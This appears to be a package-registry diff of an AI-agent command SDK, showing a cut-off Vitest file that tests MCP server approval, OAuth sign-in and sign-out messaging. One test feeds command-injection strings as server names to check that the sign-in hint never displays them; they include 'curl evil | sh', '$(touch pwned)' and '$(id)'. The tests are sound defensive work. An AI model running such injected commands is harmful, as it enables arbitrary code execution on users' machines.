@robota-sdk/agent-command 3.0.0-beta.79 → 3.0.0-beta.81

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (200) hide show
  1. package/README.md +11 -2
  2. package/dist/node/index.cjs +76 -38
  3. package/dist/node/index.d.cts +946 -0
  4. package/dist/node/index.d.cts.map +1 -0
  5. package/dist/node/index.d.ts +564 -51
  6. package/dist/node/index.d.ts.map +1 -1
  7. package/dist/node/index.js +76 -38
  8. package/dist/node/index.js.map +1 -1
  9. package/package.json +34 -16
  10. package/src/advisor/advisor-command-module.ts +47 -0
  11. package/src/advisor/advisor-command.test.ts +102 -0
  12. package/src/advisor/advisor-command.ts +55 -0
  13. package/src/advisor/advisor-cost-functional.test.ts +92 -0
  14. package/src/advisor/index.ts +6 -0
  15. package/src/agent/__tests__/agent-command.test.ts +39 -8
  16. package/src/agent/agent-command-module.ts +14 -7
  17. package/src/agent/agent-command-parser.ts +1 -1
  18. package/src/agent/agent-command.ts +3 -3
  19. package/src/background/__tests__/background-command-module.test.ts +59 -52
  20. package/src/background/background-command-module.ts +2 -1
  21. package/src/background/background-command.ts +3 -3
  22. package/src/command-module-utils.ts +33 -0
  23. package/src/compact/__tests__/compact-command-module.test.ts +31 -23
  24. package/src/compact/compact-command-module.ts +10 -1
  25. package/src/compact/compact-command.ts +6 -3
  26. package/src/context/__tests__/context-command-module.test.ts +214 -63
  27. package/src/context/auto-compact-format.ts +25 -0
  28. package/src/context/context-breakdown.ts +295 -0
  29. package/src/context/context-command-module.ts +45 -14
  30. package/src/context/context-command.ts +34 -257
  31. package/src/default/__tests__/__snapshots__/model-exposure.test.ts.snap +110 -0
  32. package/src/default/__tests__/default-command-modules.test.ts +59 -7
  33. package/src/default/__tests__/model-exposure.test.ts +241 -0
  34. package/src/default/__tests__/org-policy-forwarding.test.ts +98 -0
  35. package/src/default/default-command-modules.ts +130 -18
  36. package/src/default/index.ts +4 -1
  37. package/src/devices/__tests__/devices-command-module.test.ts +212 -0
  38. package/src/devices/devices-command-module.ts +224 -0
  39. package/src/devices/devices-command-port.ts +82 -0
  40. package/src/devices/index.ts +11 -0
  41. package/src/doctor/__tests__/doctor-command-module.test.ts +145 -0
  42. package/src/doctor/__tests__/doctor-display-vocabulary.test.ts +38 -0
  43. package/src/doctor/__tests__/doctor-fixture.ts +145 -0
  44. package/src/doctor/__tests__/doctor-redaction.test.ts +29 -0
  45. package/src/doctor/__tests__/doctor-runner.test.ts +464 -0
  46. package/src/doctor/doctor-command-module.ts +132 -0
  47. package/src/doctor/doctor-extensions-probe.ts +299 -0
  48. package/src/doctor/doctor-node-deps.ts +89 -0
  49. package/src/doctor/doctor-redaction.ts +99 -0
  50. package/src/doctor/doctor-render.ts +70 -0
  51. package/src/doctor/doctor-repair.ts +136 -0
  52. package/src/doctor/doctor-runner.ts +122 -0
  53. package/src/doctor/doctor-settings-probe.ts +239 -0
  54. package/src/doctor/doctor-storage-probe.ts +187 -0
  55. package/src/doctor/doctor-types.ts +109 -0
  56. package/src/doctor/index.ts +32 -0
  57. package/src/editor/__tests__/editor-command-functional.test.ts +49 -16
  58. package/src/editor/editor-command-module.ts +6 -5
  59. package/src/editor/editor-command.ts +10 -5
  60. package/src/effort/effort-command-module.ts +51 -0
  61. package/src/effort/effort-command.test.ts +140 -0
  62. package/src/effort/effort-command.ts +122 -0
  63. package/src/effort/index.ts +6 -0
  64. package/src/exit/__tests__/exit-command-module.test.ts +16 -9
  65. package/src/exit/exit-command-module.ts +2 -1
  66. package/src/exit/exit-command.ts +6 -6
  67. package/src/fork/__tests__/fork-command.test.ts +184 -0
  68. package/src/fork/fork-command-module.ts +61 -0
  69. package/src/fork/fork-command.ts +162 -0
  70. package/src/fork/index.ts +8 -0
  71. package/src/git/__tests__/fake-git-port.ts +28 -0
  72. package/src/git/__tests__/git-command-module.test.ts +103 -0
  73. package/src/git/__tests__/git-commit.test.ts +185 -0
  74. package/src/git/__tests__/git-diff.test.ts +125 -0
  75. package/src/git/__tests__/git-process.test.ts +221 -0
  76. package/src/git/__tests__/git-status.test.ts +117 -0
  77. package/src/git/git-command-module.ts +139 -0
  78. package/src/git/git-commit.ts +251 -0
  79. package/src/git/git-diff.ts +129 -0
  80. package/src/git/git-process.ts +169 -0
  81. package/src/git/git-status.ts +134 -0
  82. package/src/git/index.ts +17 -0
  83. package/src/goal/__tests__/goal-command.test.ts +9 -4
  84. package/src/goal/goal-command-module.ts +2 -1
  85. package/src/goal/goal-command.ts +6 -9
  86. package/src/handoff/__tests__/handoff-command.test.ts +218 -0
  87. package/src/handoff/handoff-command-module.ts +48 -0
  88. package/src/handoff/handoff-command.ts +187 -0
  89. package/src/handoff/index.ts +6 -0
  90. package/src/help/__tests__/help-command-module.test.ts +63 -40
  91. package/src/help/__tests__/help-command.test.ts +46 -37
  92. package/src/help/help-command-module.ts +2 -1
  93. package/src/help/help-command.ts +3 -3
  94. package/src/index.ts +124 -2
  95. package/src/keybindings/__tests__/keybindings-command-module.test.ts +57 -0
  96. package/src/keybindings/index.ts +6 -0
  97. package/src/keybindings/keybindings-command-module.ts +74 -0
  98. package/src/language/__tests__/language-command-module.test.ts +33 -28
  99. package/src/language/language-command-module.ts +2 -1
  100. package/src/language/language-command.ts +8 -6
  101. package/src/mcp-activation/__tests__/mcp-activation-command.test.ts +630 -0
  102. package/src/mcp-activation/__tests__/mcp-model-view.test.ts +211 -0
  103. package/src/mcp-activation/index.ts +12 -0
  104. package/src/mcp-activation/mcp-activation-command-module.ts +92 -0
  105. package/src/mcp-activation/mcp-activation-command.ts +448 -0
  106. package/src/mcp-activation/mcp-model-notice.ts +85 -0
  107. package/src/mcp-activation/mcp-model-status.ts +99 -0
  108. package/src/memory/__tests__/memory-command-module.test.ts +167 -74
  109. package/src/memory/memory-command-module.ts +18 -1
  110. package/src/memory/memory-command.ts +38 -38
  111. package/src/mode/__tests__/mode-command-module.test.ts +51 -38
  112. package/src/mode/mode-command-module.ts +2 -1
  113. package/src/mode/mode-command.ts +15 -7
  114. package/src/output-style/__tests__/output-style-command.test.ts +96 -0
  115. package/src/output-style/index.ts +6 -0
  116. package/src/output-style/output-style-command-module.ts +143 -0
  117. package/src/peers/__tests__/peers-command.test.ts +241 -0
  118. package/src/peers/index.ts +9 -0
  119. package/src/peers/peers-command-module.ts +47 -0
  120. package/src/peers/peers-command.ts +142 -0
  121. package/src/permissions/__tests__/permissions-command-module.test.ts +149 -37
  122. package/src/permissions/permissions-command-module.ts +2 -1
  123. package/src/permissions/permissions-command.ts +46 -4
  124. package/src/plan/__tests__/plan-command.test.ts +129 -0
  125. package/src/plan/index.ts +9 -0
  126. package/src/plan/plan-command-module.ts +49 -0
  127. package/src/plan/plan-command.ts +92 -0
  128. package/src/plugin/__tests__/plugin-command-module.test.ts +46 -40
  129. package/src/plugin/__tests__/plugin-host-boundary.test.ts +11 -0
  130. package/src/plugin/plugin-command-module.ts +3 -1
  131. package/src/plugin/plugin-command.ts +17 -16
  132. package/src/preset/__tests__/host-supplied-preset-registry.test.ts +98 -0
  133. package/src/preset/__tests__/preset-command-module.test.ts +102 -56
  134. package/src/preset/preset-command-module.ts +26 -8
  135. package/src/preset/preset-command.ts +85 -27
  136. package/src/provider/__tests__/org-policy.test.ts +4 -5
  137. package/src/provider/__tests__/provider-command-module.test.ts +11 -14
  138. package/src/provider/__tests__/provider-startup-host-settings.test.ts +16 -0
  139. package/src/provider/__tests__/scripted-interaction.ts +7 -5
  140. package/src/provider/provider-command-execution.ts +4 -4
  141. package/src/provider/provider-command-module.ts +2 -1
  142. package/src/provider/provider-command-profile-lifecycle.ts +4 -4
  143. package/src/provider/provider-command-profile-operations.ts +3 -3
  144. package/src/provider/provider-command-profile.ts +1 -1
  145. package/src/provider/provider-command-setup.ts +4 -4
  146. package/src/provider/provider-startup.ts +62 -35
  147. package/src/remote-control/__tests__/remote-control-command-module.test.ts +36 -0
  148. package/src/remote-control/__tests__/remote-control-command.test.ts +216 -0
  149. package/src/remote-control/index.ts +8 -0
  150. package/src/remote-control/remote-control-command-module.ts +61 -0
  151. package/src/remote-control/remote-control-command.ts +138 -0
  152. package/src/reset/__tests__/reset-command-module.test.ts +5 -5
  153. package/src/reset/reset-command-module.ts +2 -1
  154. package/src/reset/reset-command.ts +3 -4
  155. package/src/rewind/__tests__/rewind-command-module.test.ts +40 -0
  156. package/src/rewind/rewind-command-module.ts +2 -1
  157. package/src/rewind/rewind-command.ts +73 -6
  158. package/src/sandbox/__tests__/sandbox-command.test.ts +80 -0
  159. package/src/sandbox/index.ts +2 -0
  160. package/src/sandbox/sandbox-command-module.ts +56 -0
  161. package/src/sandbox/sandbox-command.ts +94 -0
  162. package/src/schedule/__tests__/loop-command-functional.test.ts +386 -0
  163. package/src/schedule/__tests__/loop-command.test.ts +360 -0
  164. package/src/schedule/__tests__/loop-jitter.test.ts +25 -0
  165. package/src/schedule/__tests__/monitor-model-permission-functional.test.ts +126 -0
  166. package/src/schedule/__tests__/schedule-command.test.ts +143 -3
  167. package/src/schedule/__tests__/schedule-redos.test.ts +81 -0
  168. package/src/schedule/index.ts +3 -0
  169. package/src/schedule/loop-command.ts +333 -0
  170. package/src/schedule/loop-jitter.ts +41 -0
  171. package/src/schedule/schedule-command-module.ts +92 -14
  172. package/src/schedule/schedule-command.ts +98 -9
  173. package/src/schedule/schedule-spec-parser.ts +5 -1
  174. package/src/session/__tests__/rename-host-persistence.test.ts +72 -0
  175. package/src/session/__tests__/session-command-module.test.ts +210 -45
  176. package/src/session/session-command-module.ts +68 -37
  177. package/src/session/session-command.ts +147 -80
  178. package/src/settings/settings-command-module.ts +3 -2
  179. package/src/shell/__tests__/resolve-shell-host.test.ts +11 -0
  180. package/src/shell/__tests__/shell-command-functional.test.ts +23 -1
  181. package/src/shell/resolve-shell.ts +2 -2
  182. package/src/shell/shell-command-module.ts +6 -5
  183. package/src/shell/shell-command.ts +9 -5
  184. package/src/skills/__tests__/skills-command-module.test.ts +69 -28
  185. package/src/skills/index.ts +1 -0
  186. package/src/skills/skills-command-module.ts +22 -5
  187. package/src/skills/skills-command.ts +14 -13
  188. package/src/statusline/__tests__/statusline-command-module.test.ts +5 -4
  189. package/src/statusline/statusline-command-module.ts +2 -1
  190. package/src/statusline/statusline-command.ts +4 -4
  191. package/src/theme/__tests__/theme-command.test.ts +204 -0
  192. package/src/theme/index.ts +12 -0
  193. package/src/theme/theme-command-module.ts +211 -0
  194. package/src/user-local/__tests__/user-local-command.test.ts +145 -110
  195. package/src/user-local/user-local-command-constants.ts +1 -1
  196. package/src/user-local/user-local-command-module.ts +6 -5
  197. package/src/user-local/user-local-command.ts +12 -6
  198. package/src/user-local/user-local-memory-command.ts +17 -7
  199. package/src/plugins/default-plugin-command-adapter.ts +0 -164
  200. package/src/plugins/default-plugin-command-source-loader.ts +0 -31
@@ -0,0 +1,630 @@
1
+ import { describe, expect, it } from 'vitest';
2
+
3
+ import { createTestCommandHost } from '@robota-sdk/agent-framework/testing';
4
+
5
+ import { FunctionTool } from '@robota-sdk/agent-core';
6
+
7
+ import { executeMCPActivationCommand } from '../mcp-activation-command.js';
8
+ import { createMCPActivationCommandEntry } from '../mcp-activation-command-module.js';
9
+
10
+ import type {
11
+ ICommandMCPActivationAdapter,
12
+ ICommandMCPActivationSummary,
13
+ ICommandMCPOAuthLoginRequest,
14
+ ICommandMCPOAuthLoginResult,
15
+ } from '@robota-sdk/agent-framework';
16
+ import type {
17
+ IActionRequest,
18
+ IToolWithEventService,
19
+ TActionResponse,
20
+ } from '@robota-sdk/agent-core';
21
+
22
+ function summary(
23
+ overrides: Partial<ICommandMCPActivationSummary> = {},
24
+ ): ICommandMCPActivationSummary {
25
+ return {
26
+ serverId: 'server-1',
27
+ displayName: 'Example server',
28
+ source: 'project',
29
+ status: 'pending',
30
+ allowed: false,
31
+ reason: 'Approval required.',
32
+ provenanceId: 'project-settings',
33
+ definitionFingerprint: 'definition-v1',
34
+ securityIdentity: 'identity-v1',
35
+ ...overrides,
36
+ };
37
+ }
38
+
39
+ function context(adapter?: ICommandMCPActivationAdapter) {
40
+ return createTestCommandHost({
41
+ overrides: { getCommandHostAdapters: () => (adapter ? { mcpActivation: adapter } : {}) },
42
+ });
43
+ }
44
+
45
+ describe('executeMCPActivationCommand', () => {
46
+ it('lists status without invoking an activation operation', async () => {
47
+ let operations = 0;
48
+ const entry = summary();
49
+ const adapter: ICommandMCPActivationAdapter = {
50
+ list: () => [entry],
51
+ approve: async () => {
52
+ operations++;
53
+ return entry;
54
+ },
55
+ reject: async () => entry,
56
+ revoke: async () => entry,
57
+ };
58
+
59
+ const result = await executeMCPActivationCommand(context(adapter), 'status');
60
+
61
+ expect(result.success).toBe(true);
62
+ expect(result.message).toContain('pending');
63
+ expect(result.message).toContain('server-1');
64
+ expect(operations).toBe(0);
65
+ });
66
+
67
+ it('routes approve/reject/revoke to the host adapter and preserves the exact id', async () => {
68
+ const calls: string[] = [];
69
+ const adapter: ICommandMCPActivationAdapter = {
70
+ list: () => [],
71
+ approve: (id) => {
72
+ calls.push(`approve:${id}`);
73
+ return summary({ status: 'approved', allowed: true, reason: 'Approved.' });
74
+ },
75
+ reject: (id) => {
76
+ calls.push(`reject:${id}`);
77
+ return summary({ status: 'rejected', reason: 'Rejected.' });
78
+ },
79
+ revoke: (id) => {
80
+ calls.push(`revoke:${id}`);
81
+ return summary({ status: 'revoked', reason: 'Revoked.' });
82
+ },
83
+ };
84
+
85
+ expect((await executeMCPActivationCommand(context(adapter), 'approve Server-A')).success).toBe(
86
+ true,
87
+ );
88
+ expect((await executeMCPActivationCommand(context(adapter), 'reject Server-A')).success).toBe(
89
+ true,
90
+ );
91
+ expect((await executeMCPActivationCommand(context(adapter), 'revoke Server-A')).success).toBe(
92
+ true,
93
+ );
94
+ expect(calls).toEqual(['approve:Server-A', 'reject:Server-A', 'revoke:Server-A']);
95
+ });
96
+
97
+ it('does not guess an id and never activates when the adapter is absent', async () => {
98
+ expect((await executeMCPActivationCommand(context(), '')).success).toBe(true);
99
+ expect((await executeMCPActivationCommand(context(), 'approve')).success).toBe(false);
100
+ expect((await executeMCPActivationCommand(context(), 'approve server-1')).message).toMatch(
101
+ /not available/i,
102
+ );
103
+ });
104
+
105
+ // BEHAVIOR-2794 (issue #2794 / #3073): a source-level problem (an unreadable managed policy, a
106
+ // config root that is not an object, no `mcpServers`) names no server, so it never appears in
107
+ // `list()`. Before `sourceProblems()` existed on the adapter, `/mcp status` had no way to say an
108
+ // entire source could not be read — it just said nothing beyond whatever DID resolve.
109
+ it('states which source could not be read, beside the servers that did resolve', async () => {
110
+ const entry = summary();
111
+ const adapter: ICommandMCPActivationAdapter = {
112
+ list: () => [entry],
113
+ sourceProblems: () => [
114
+ {
115
+ source: 'managed',
116
+ origin: 'policy.json',
117
+ reason: 'the configuration root is not an object',
118
+ },
119
+ ],
120
+ approve: async () => entry,
121
+ reject: async () => entry,
122
+ revoke: async () => entry,
123
+ };
124
+
125
+ const result = await executeMCPActivationCommand(context(adapter), 'status');
126
+
127
+ expect(result.success).toBe(true);
128
+ // The resolved server is still reported...
129
+ expect(result.message).toContain('server-1');
130
+ // ...beside the source that could not be read at all.
131
+ expect(result.message).toContain('managed');
132
+ expect(result.message).toContain('policy.json');
133
+ expect(result.message).toContain('the configuration root is not an object');
134
+ expect(result.data).toMatchObject({
135
+ sourceProblems: [
136
+ {
137
+ source: 'managed',
138
+ origin: 'policy.json',
139
+ reason: 'the configuration root is not an object',
140
+ },
141
+ ],
142
+ });
143
+ });
144
+
145
+ // PR #3076 re-review: a managed-tier source problem also blocks every lower-tier server that would
146
+ // otherwise have resolved (`agent-mcp`'s `resolveByPrecedence`) — those names never appear in
147
+ // `list()` (an `unresolved` entry is never an activation candidate), so this line is the ONLY place
148
+ // `/mcp status` can say a lower-tier server exists at all and why it is not active.
149
+ it('states that lower-tier servers are blocked, listing their names, for a managed source problem', async () => {
150
+ const adapter: ICommandMCPActivationAdapter = {
151
+ list: () => [],
152
+ sourceProblems: () => [
153
+ {
154
+ source: 'managed',
155
+ origin: 'policy.json',
156
+ reason: 'the configuration root is not an object',
157
+ blockedServerNames: ['weather', 'search'],
158
+ },
159
+ ],
160
+ approve: async () => summary(),
161
+ reject: async () => summary(),
162
+ revoke: async () => summary(),
163
+ };
164
+
165
+ const result = await executeMCPActivationCommand(context(adapter), 'status');
166
+
167
+ expect(result.success).toBe(true);
168
+ expect(result.message).toContain('managed');
169
+ expect(result.message).toContain('policy.json');
170
+ expect(result.message).toMatch(/blocked/i);
171
+ expect(result.message).toContain('weather');
172
+ expect(result.message).toContain('search');
173
+ });
174
+
175
+ it('says nothing extra about blocking for a source problem with no blocked servers', async () => {
176
+ const adapter: ICommandMCPActivationAdapter = {
177
+ list: () => [],
178
+ sourceProblems: () => [
179
+ { source: 'user', origin: 'settings.json', reason: '`mcpServers` is not an object' },
180
+ ],
181
+ approve: async () => summary(),
182
+ reject: async () => summary(),
183
+ revoke: async () => summary(),
184
+ };
185
+
186
+ const result = await executeMCPActivationCommand(context(adapter), 'status');
187
+
188
+ expect(result.success).toBe(true);
189
+ expect(result.message).not.toMatch(/blocked/i);
190
+ });
191
+
192
+ it('reports a source problem even when nothing resolved at all', async () => {
193
+ const adapter: ICommandMCPActivationAdapter = {
194
+ list: () => [],
195
+ sourceProblems: () => [
196
+ { source: 'managed', origin: 'policy.json', reason: 'no `mcpServers` key' },
197
+ ],
198
+ approve: async () => summary(),
199
+ reject: async () => summary(),
200
+ revoke: async () => summary(),
201
+ };
202
+
203
+ const result = await executeMCPActivationCommand(context(adapter), 'status');
204
+
205
+ expect(result.success).toBe(true);
206
+ expect(result.message).not.toMatch(/no mcp definitions are registered/i);
207
+ expect(result.message).toContain('managed');
208
+ expect(result.message).toContain('policy.json');
209
+ });
210
+
211
+ it('treats a missing sourceProblems() the same as none, for an older adapter', async () => {
212
+ const entry = summary();
213
+ const adapter: ICommandMCPActivationAdapter = {
214
+ list: () => [entry],
215
+ approve: async () => entry,
216
+ reject: async () => entry,
217
+ revoke: async () => entry,
218
+ };
219
+
220
+ const result = await executeMCPActivationCommand(context(adapter), 'status');
221
+
222
+ expect(result.success).toBe(true);
223
+ expect(result.message).toContain('server-1');
224
+ });
225
+ });
226
+
227
+ describe('/mcp and OAuth sign-in', () => {
228
+ function oauthAdapter(): ICommandMCPActivationAdapter & { loggedOut: string[] } {
229
+ const loggedOut: string[] = [];
230
+ return {
231
+ loggedOut,
232
+ list: () => [
233
+ summary({ serverId: 'files', status: 'approved', allowed: true }),
234
+ summary({ serverId: 'plain', status: 'approved', allowed: true }),
235
+ ],
236
+ approve: async () => summary(),
237
+ reject: async () => summary(),
238
+ revoke: async () => summary(),
239
+ oauthStatus: async () => [{ serverId: 'files', state: 'expired-refreshable' }],
240
+ oauthLogout: async (serverId) => {
241
+ loggedOut.push(serverId);
242
+ return {
243
+ serverId,
244
+ removed: true,
245
+ revocation: 'failed',
246
+ revocationFailure: 'revocation-failed',
247
+ };
248
+ },
249
+ };
250
+ }
251
+
252
+ it('shows each OAuth server sign-in state as a fixed word, and nothing for the rest', async () => {
253
+ const result = await executeMCPActivationCommand(context(oauthAdapter()), 'status');
254
+ const lines = result.message.split('\n');
255
+ expect(lines.find((line) => line.includes('files'))).toMatch(
256
+ /OAuth: token expired, will refresh$/,
257
+ );
258
+ expect(lines.find((line) => line.includes('plain'))).not.toContain('OAuth');
259
+ const servers = (result.data as { servers: Record<string, unknown>[] }).servers;
260
+ expect(servers[0]).toMatchObject({ serverId: 'files', oauth: 'expired-refreshable' });
261
+ expect(servers[1]).not.toHaveProperty('oauth');
262
+ });
263
+
264
+ it('signs out through the port and reports revocation by reason only', async () => {
265
+ const adapter = oauthAdapter();
266
+ const result = await executeMCPActivationCommand(context(adapter), 'logout files');
267
+ expect(adapter.loggedOut).toEqual(['files']);
268
+ expect(result.success).toBe(true);
269
+ expect(result.message).toBe(
270
+ 'Signed out of MCP server files; token revocation failed (revocation-failed); ' +
271
+ 'the tokens stay valid until they expire.',
272
+ );
273
+ });
274
+
275
+ it('says which token was revoked when only one was', async () => {
276
+ const adapter: ICommandMCPActivationAdapter = {
277
+ ...oauthAdapter(),
278
+ oauthLogout: async (serverId) => ({
279
+ serverId,
280
+ removed: true,
281
+ revocation: 'partial',
282
+ revocationFailure: 'token-type-not-revocable',
283
+ tokens: [
284
+ { token: 'refresh_token', revoked: true },
285
+ { token: 'access_token', revoked: false, failure: 'token-type-not-revocable' },
286
+ ],
287
+ }),
288
+ };
289
+ const result = await executeMCPActivationCommand(context(adapter), 'logout files');
290
+ expect(result.message).toBe(
291
+ 'Signed out of MCP server files; the refresh token was revoked; the access token was not ' +
292
+ '(token-type-not-revocable) and stays valid until it expires.',
293
+ );
294
+ });
295
+
296
+ it('refuses to sign out of a server that does not declare OAuth', async () => {
297
+ const adapter = oauthAdapter();
298
+ const result = await executeMCPActivationCommand(context(adapter), 'logout plain');
299
+ expect(result.success).toBe(false);
300
+ expect(adapter.loggedOut).toEqual([]);
301
+ });
302
+
303
+ function withServer(serverId: string): ICommandMCPActivationAdapter {
304
+ return {
305
+ ...oauthAdapter(),
306
+ list: () => [summary({ serverId, status: 'approved', allowed: true })],
307
+ oauthStatus: async () => [{ serverId, state: 'sign-in-required' }],
308
+ };
309
+ }
310
+
311
+ it('points a server that needs a sign-in at the session command and the terminal one', async () => {
312
+ const result = await executeMCPActivationCommand(context(withServer('files')), 'status');
313
+ expect(result.message).toContain(
314
+ 'OAuth: sign-in required (run /mcp login files, or robota mcp login files in a terminal)',
315
+ );
316
+ });
317
+
318
+ it.each([
319
+ ['a command separator', 'x; curl evil | sh'],
320
+ ['a command substitution', 'x$(touch pwned)'],
321
+ ['backticks', 'x`touch pwned`'],
322
+ ['a backslash-quote', "\\';touch pwned;#"],
323
+ ['a leading dash', '-rf'],
324
+ ['a leading equals sign', '=cmd'],
325
+ ['a newline', 'x\nrobota mcp login good'],
326
+ ['an escape sequence', 'x\u001b[2Kgood'],
327
+ ['a right-to-left override', 'x‮good'],
328
+ ])('never puts a name with %s into the sign-in command', async (_what, name) => {
329
+ const result = await executeMCPActivationCommand(context(withServer(name)), 'status');
330
+ const hint = /\(run \/mcp login [^)]*\)/.exec(result.message)?.[0];
331
+ expect(hint).toBe(
332
+ '(run /mcp login <server>, or robota mcp login <server> in a terminal; ' +
333
+ 'its name cannot be shown safely here)',
334
+ );
335
+ });
336
+
337
+ it('a sign-out needs a server', async () => {
338
+ const logout = await executeMCPActivationCommand(context(oauthAdapter()), 'logout');
339
+ expect(logout.success).toBe(false);
340
+ expect(logout.message).toBe('Usage: /mcp logout <serverId>');
341
+ });
342
+ });
343
+
344
+ describe('/mcp login', () => {
345
+ interface ILoginHarness {
346
+ readonly requests: ICommandMCPOAuthLoginRequest[];
347
+ readonly added: IToolWithEventService[][];
348
+ readonly asked: IActionRequest[];
349
+ readonly acknowledged: [string, readonly string[]][];
350
+ run(args: string): ReturnType<typeof executeMCPActivationCommand>;
351
+ }
352
+
353
+ const forecast = new FunctionTool(
354
+ { name: 'files__read', description: 'Read', parameters: { type: 'object', properties: {} } },
355
+ async () => 'ok',
356
+ );
357
+
358
+ function harness(
359
+ login: (request: ICommandMCPOAuthLoginRequest) => Promise<ICommandMCPOAuthLoginResult>,
360
+ answer?: TActionResponse | ((request: IActionRequest) => TActionResponse),
361
+ taken: (names: string[]) => string[] = (names) => names,
362
+ ): ILoginHarness {
363
+ const requests: ICommandMCPOAuthLoginRequest[] = [];
364
+ const added: IToolWithEventService[][] = [];
365
+ const asked: IActionRequest[] = [];
366
+ const acknowledged: [string, readonly string[]][] = [];
367
+ const port: ICommandMCPActivationAdapter = {
368
+ list: () => [],
369
+ approve: async () => summary(),
370
+ reject: async () => summary(),
371
+ revoke: async () => summary(),
372
+ oauthLogin: (request) => {
373
+ requests.push(request);
374
+ return login(request);
375
+ },
376
+ oauthToolsAdded: (serverId, names) => acknowledged.push([serverId, names]),
377
+ };
378
+ const host = createTestCommandHost({
379
+ overrides: {
380
+ getCommandHostAdapters: () => ({ mcpActivation: port }),
381
+ getUserInteraction: () =>
382
+ answer === undefined
383
+ ? undefined
384
+ : {
385
+ ask: async (request) => {
386
+ asked.push(request);
387
+ return typeof answer === 'function' ? answer(request) : answer;
388
+ },
389
+ },
390
+ },
391
+ });
392
+ const session = host.getSession();
393
+ host.getSession = () => ({
394
+ ...session,
395
+ addTools: async (tools) => {
396
+ added.push([...tools]);
397
+ return taken(tools.map((tool) => tool.schema.name));
398
+ },
399
+ });
400
+ return {
401
+ requests,
402
+ added,
403
+ asked,
404
+ acknowledged,
405
+ run: (args) => executeMCPActivationCommand(host, args),
406
+ };
407
+ }
408
+
409
+ const signedIn = (
410
+ serverId: string,
411
+ extra: Partial<ICommandMCPOAuthLoginResult> = {},
412
+ ): ICommandMCPOAuthLoginResult => ({
413
+ serverId,
414
+ preRegisteredClient: false,
415
+ connection: 'connected',
416
+ tools: [forecast],
417
+ ...extra,
418
+ });
419
+
420
+ it('signs in and adds the connected server tools to this session', async () => {
421
+ const h = harness(async (request) => signedIn(request.serverId));
422
+ const result = await h.run('login files');
423
+ expect(result.success).toBe(true);
424
+ expect(result.message).toBe(
425
+ 'Signed in to MCP server files; 1 of its tools is available from your next message.',
426
+ );
427
+ expect(h.requests[0]).toMatchObject({ serverId: 'files', noBrowser: false });
428
+ expect(h.added).toEqual([[forecast]]);
429
+ expect(result.data).toEqual({
430
+ serverId: 'files',
431
+ connection: 'connected',
432
+ tools: ['files__read'],
433
+ });
434
+ });
435
+
436
+ it('asks for the pasted redirect through the session prompt, masked', async () => {
437
+ const h = harness(
438
+ async (request) => {
439
+ const pasted = await request.readRedirect?.(
440
+ {
441
+ authorizationUrl: 'https://auth.example.test/authorize?x=1',
442
+ redirectUri: 'http://127.0.0.1:1234/callback',
443
+ },
444
+ new AbortController().signal,
445
+ );
446
+ expect(pasted).toBe('http://127.0.0.1:1234/callback?code=c&state=s');
447
+ return signedIn(request.serverId);
448
+ },
449
+ { type: 'answer', values: [], text: 'http://127.0.0.1:1234/callback?code=c&state=s' },
450
+ );
451
+ const result = await h.run('login files --no-browser');
452
+ expect(result.success).toBe(true);
453
+ expect(h.requests[0]?.noBrowser).toBe(true);
454
+ expect(h.asked).toHaveLength(1);
455
+ expect(h.asked[0]).toMatchObject({ masked: true, allowFreeText: true });
456
+ expect(h.asked[0]?.description).toContain('https://auth.example.test/authorize?x=1');
457
+ // The pasted redirect carries a code; it is never part of the result.
458
+ expect(JSON.stringify(result)).not.toContain('code=c');
459
+ });
460
+
461
+ it('treats a dismissed paste as a cancelled sign-in', async () => {
462
+ const h = harness(
463
+ async (request) => {
464
+ await expect(
465
+ request.readRedirect?.(
466
+ { authorizationUrl: 'https://a.test/', redirectUri: 'http://127.0.0.1:1/callback' },
467
+ new AbortController().signal,
468
+ ),
469
+ ).rejects.toThrow();
470
+ return {
471
+ serverId: request.serverId,
472
+ failure: 'cancelled',
473
+ preRegisteredClient: false,
474
+ tools: [],
475
+ };
476
+ },
477
+ { type: 'cancelled' },
478
+ );
479
+ const result = await h.run('login files --no-browser');
480
+ expect(result.success).toBe(false);
481
+ expect(result.message).toBe(
482
+ 'Sign-in to MCP server files failed (cancelled); nothing was changed.',
483
+ );
484
+ expect(h.added).toEqual([]);
485
+ });
486
+
487
+ it('never asks for a client secret, and names the terminal command instead', async () => {
488
+ const h = harness(async (request) => signedIn(request.serverId));
489
+ const result = await h.run('login files --client-secret');
490
+ expect(result.success).toBe(false);
491
+ expect(result.message).toContain('robota mcp login files --client-secret in a terminal');
492
+ expect(h.requests).toEqual([]);
493
+ });
494
+
495
+ it('suggests the secret sign-in only for a pre-registered client whose exchange failed', async () => {
496
+ const failing = (preRegisteredClient: boolean) =>
497
+ harness(async (request) => ({
498
+ serverId: request.serverId,
499
+ failure: 'token-exchange-failed',
500
+ preRegisteredClient,
501
+ tools: [],
502
+ })).run('login files');
503
+ expect((await failing(true)).message).toContain(
504
+ 'run robota mcp login files --client-secret in a terminal',
505
+ );
506
+ expect((await failing(false)).message).not.toContain('--client-secret');
507
+ });
508
+
509
+ it('shows a server name in a suggested command only when it is safe to paste', async () => {
510
+ const h = harness(async (request) => ({
511
+ serverId: request.serverId,
512
+ failure: 'browser-failed',
513
+ preRegisteredClient: false,
514
+ tools: [],
515
+ }));
516
+ expect((await h.run('login files')).message).toContain('/mcp login files --no-browser');
517
+ expect((await h.run('login x$(id)')).message).toContain('/mcp login <server> --no-browser');
518
+ expect((await h.run('login =cmd --client-secret')).message).toContain(
519
+ 'robota mcp login <server> --client-secret',
520
+ );
521
+ });
522
+
523
+ it('says how the server stands when it did not connect', async () => {
524
+ const run = (connection: ICommandMCPOAuthLoginResult['connection']) =>
525
+ harness(async (request) => signedIn(request.serverId, { connection, tools: [] })).run(
526
+ 'login files',
527
+ );
528
+ expect((await run('recovered')).message).toBe(
529
+ 'Signed in to MCP server files; its tools work again.',
530
+ );
531
+ expect((await run('not-admitted')).message).toContain('not approved for this session');
532
+ expect((await run('not-connected')).message).toContain('could not connect in this session');
533
+ });
534
+
535
+ const PROMPT = {
536
+ authorizationUrl: 'https://auth.example.test/authorize?x=1',
537
+ redirectUri: 'http://127.0.0.1:1234/callback',
538
+ };
539
+
540
+ it('shows the authorization URL before the browser opens, and lets the user cancel', async () => {
541
+ const choices: string[] = [];
542
+ let signal: AbortSignal | undefined;
543
+ const h = harness(
544
+ async (request) => {
545
+ signal = request.signal;
546
+ const choice = await request.confirmBrowser!(PROMPT, new AbortController().signal);
547
+ choices.push(choice);
548
+ return {
